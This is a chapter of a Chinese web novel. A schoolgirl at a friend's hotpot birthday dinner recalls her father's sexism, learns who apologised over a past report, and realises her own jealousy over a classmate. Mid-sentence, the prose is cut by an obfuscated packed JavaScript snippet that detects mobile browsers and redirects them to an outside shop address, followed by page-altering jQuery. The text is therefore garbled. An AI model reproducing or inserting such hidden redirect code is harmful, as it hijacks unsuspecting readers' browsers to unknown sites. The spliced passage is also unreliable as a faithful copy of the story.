程清亿端着冰淇凌球回到原先的位置。
锅里先前扔下去的东西早就飘了起来,咕嘟咕嘟的七上八下。
她其实能感受到。
隔着桌子中央升腾的热气,有一双眼,正寸步不离地盯着自己。
程清亿只觉得可笑。
她竟然比不过一碗冰淇凌球。
火锅店里越热闹,心里反而越消沉。
她知道此时摆在桌上的那个蛋糕一定不是杨凯定的。
白奶油顶上插着巧克力做的假柠檬片。
刚从包装里拿出来时她就认出来了,是扬容镇小学东门旁的那家特产。
一般人不知道也没必要特意大老远买这一款。
很小的时候,程雷给她买过很多次。
每回在大人的注视下端着蛋糕托底慢悠悠走进林川房间之前,程清亿总会被唠叨一句——“别和川川抢!”
那时的她总会不厌其烦地应付一句:“哦。”
程雷不知道,她从来没抢过。
林川根本不爱吃柠檬酱,明面上说好的分享总会变成背地里她自己一个人的饕餮盛宴。
而彼时的小男孩,只会坐在一旁对着电脑上的妖魔鬼怪砍砍杀杀。
临到末了,等她吃的差不多了,才会过来用手指沾点奶油抹在嘴角用于应付大人们的检查。
……
思绪被桌上的动静中断。
黄桃蹊正在张云云的帮助下带上寿星帽,旁边男生刚好点完蜡烛等着她吹。
“祝你生日快~乐,祝你生日快~乐~”
“祝你生日快~~乐~”
“祝你生日快乐~!”
大家拍着手,笑眼盈盈地注视着黄桃蹊双手合十许愿。
烛火摇曳,把周围的空气都烤的变形。
某一瞬间,程清亿的心神开了小差。
视线停滞的那一刻,听觉忽然清晰了起来。
“还得是儿子,闺女将来都是别家的人,一点用都没有。”
大厅里出现了个中年男人的声音,如此逆天的发言在这样的环境下略显油腻。
更何况正值女孩子的生日宴席,属实太过扫兴。
而程清亿只注意到了最后一句。
一点用都没有。
那个人说,一点用都没有。
她皱了眉,感觉后背忽然不受控制的僵了起来。
耳边猛然间又回荡起了那句满含揣测的——“别和川川抢!”
说话那人的音色她实在是太熟悉了。
两道相同的音色重叠,在脑中交织,成功在脑中刻画出了一个模糊的背影。
大厅里的人并没有多少人在意这句恶臭至极的爹味发言。
因为对他们而言,仅仅是爹味。
……
“什么人啊,都现在这个年代了还搞重男轻女那一套。”张云云忍不住低声吐槽了一句。
李成轩搭腔跟着骂了一句:“纯属傻叉!”
程清亿垂着眼,双掌无意识地摩搓着,忽然很无地自容。
隔在两桌之间半人高的挡板上方搭了装饰用的竹条镂空格子。
她看不见后面说话那人,但看着那些格子,程清亿在里面补出了一个又一个柠檬蛋糕的影子。
——“到底是女孩子。”
小学的某次家长会结束,程雷赞叹完林川的双百试卷,对着她的试卷给出了这样一个评价。
——“女生也就语文好点,数理化到了高中根本跟不上男生。”
下一次考试结束,程雷抖着手里她特意递过去的高分试卷,满脸敷衍。
——“啪”
随之而来的,是程清亿脸上清晰通红的巴掌印。
看着试卷上方标分四十三的数学,这次程雷什么都没说。
……
小学毕业后,李椿女士和程雷提出了离婚。
程清亿再也没吃过柠檬蛋糕。
“这块儿给你。”
黄桃蹊切了块带着巧克力柠檬片的给她。
程清亿强笑着接了过来,心情复杂。
蛋糕胚绵密,柠檬酱清新,甜味在味蕾中蔓延。
近年来店家似乎还做了改良,比记忆里的更好吃了些。
“不过这次数学的卷子出得确实很刁钻啊。”李成轩咽了口蛋糕,含糊不清地说。
程清亿没吱声。
她不敢说,其实这次数学卷子她做得很顺,最后一道大题把能写的写完,正好收卷。
“你们要是不嫌弃,等会儿回去我把解题步骤发给你们?”
一直沉默不语的林川终于开了口。
杨凯顺势拉了个群,在手机上点了一阵子之后,对着黄桃蹊说:“黄桃你待会儿把剩下两个女孩拉进来吧。”
“我这也算是蹭上了,”张云云从锅里捞了块肥牛到碗里,满脸坏笑,“以前这种学霸的小灶估计只有程清亿一个人能听吧?”
嘴里正塞着蛋糕,听闻自己的名字被完整地念了出来,程清亿心里咯噔一声。
她警觉地瞥了眼挡板,形容不出来的恐惧聚成浪潮止不住地往上翻涌。
清亿,谐音“情意”。
小的时候,林川告诉过她,她的名字很好听。
可眼下,她却觉得自己的名字像个定时炸弹。
“是啊,上次我给林川打电话说运动会走方阵那事的时候,程清亿好像就在旁边来着。”
杨凯单手呈“八”字状托着下巴,若有所思地补充。
又是一道重雷。
程清亿抿着嘴,视线再一次落向挡板.
然而想象中的事情并没有发生。
“哎哎哎,你们差不多得了,”李成轩凑了过来,指着杨凯的鼻子,“本来你爸就对他们俩敏感。”
这一提,几个月前的事情又重新翻到了桌面上。
那一阵子她差得出奇的状态还历历在目,桌子上的人多多少少都有所耳闻。
“那后来举报的人后来私下里找你们道过歉了吧?”正巧聊到这,杨凯顺势提了一嘴。
举报的人?道歉?
“嗯。”
坐在挡板正下方的林川应了一句。
杨凯瞥见了程清亿面上的表情:“没人私下里找过你吗?”
她摇头。
“啊?”杨凯震惊,“上次我问我们家老头的时候,说是会让他们私下里找你们俩的呀?”
“他们?”黄桃蹊听出了猫腻,“难道不止一个?”
再次无意间说漏了嘴。
杨凯的五官忽然变得窘迫起来,于事无补地抠了抠太阳穴,试图掩饰。
“哎呀你憋不住屁也不是一次两次了,”李成轩看不下去了,“你家老头的嘴可比你严实多了,能让你知道的都算不上秘密,你想想哪次年级里的小道消息不是从你这儿传出来的?现在装还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166162|196717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有什么意思?”
虽然话有点糙,但事实确实如此。
黄桃蹊直接问:“你知道点啥就赶紧说,别搁那装模做样的。”
这还是程清亿第一次见黄桃蹊说话这么横,和印象里温温柔柔的样子很不一样。
像是受到了什么刺激。
原先有些抗拒的杨凯深呼一口气,环视一周后把视线落到了话题主人公之一的林川身上。
像是在寻得许可。
“我没问题。”林川表态。
杨凯点头,说了声好。
然后——
“我们家老头说,一共有两个人举报,一男一女。”
话音落地。
是长久的沉默。
“没了?”张云云挑着眉。
杨凯:“没了。”
“切。”李成轩甩了个手,大翻白眼,一副我说什么来着的表情。
黄桃蹊彻底对手里的蛋糕失去了兴趣,问起林川:“所以找你的那个人是男的?”
程清亿看见挡板下的人摇了摇头。
那按理来讲,应该有男生来找她道歉才对。
但是好像……
她在脑中来来回回搜刮了两遍,确定没有人来找过自己。
“那也太奇怪了,”杨凯解释,“老杨说这俩人都拿到你们的谅解签字了,所以才把这事宣告结束的。”
张云云皱眉:“奇怪?没人找你,那谅解签字怎么拿到的?”
程清亿抬眼。
正对面,挡板下方,林川直直地看向她,眼神笃定。
好像在说,你再好好想想。
男生。
私下里。
单独找你。
几个元素混杂在一起。
程清亿面上的表情忽然停滞住了。
瞳孔放大。
她的脑海中出现了一个绝无可能的人选。
呼——
猛然一瞬。
脑中的乱麻忽然不再凌乱,一切似乎都变得合理了起来。
某一刻,她好像全都明白了。
“这件事就到此为止吧,今天是黄同学的生日,别聊得这么扫兴。”林川举杯,提醒桌上众人是时候让话题重新回到正轨了。
众人撞杯,此事翻篇。
再次坐定,程清亿瞥见桌面跟前造型美丽的冰淇凌球化成了奶白色的液体。
她一口都没来得及吃上。
那股先前退下的情绪浪潮再次汹涌上来。
原来是道歉。
她一直不理解的谜题,终于在今天得到了答案。
所以林川这么久以来的表现,也不是吃醋。
很奇怪。
她以为自己知道了所有的来龙去脉之后,会为自己无疾而终的初次暗恋而辗转反侧。
但是没有。
重新想起陆一深,程清亿似乎只能感受到平静。
那种稍微一点波澜就能掀起巨浪的情绪点好像在不知道的哪一天早已被悄悄抹除了。
程清亿终于确定,她对这个人的喜欢结束了。
再次抬眼。
视线在拂过挡板的下一秒被某人截停。
程清亿迟疑了。
或许这种感觉,叫遗憾吗?
火锅店里烟雾缭绕,空调暖气烘得人面泛红晕。
程清亿忽然感觉心头一阵泛酸。
原来真正吃醋的人,是她。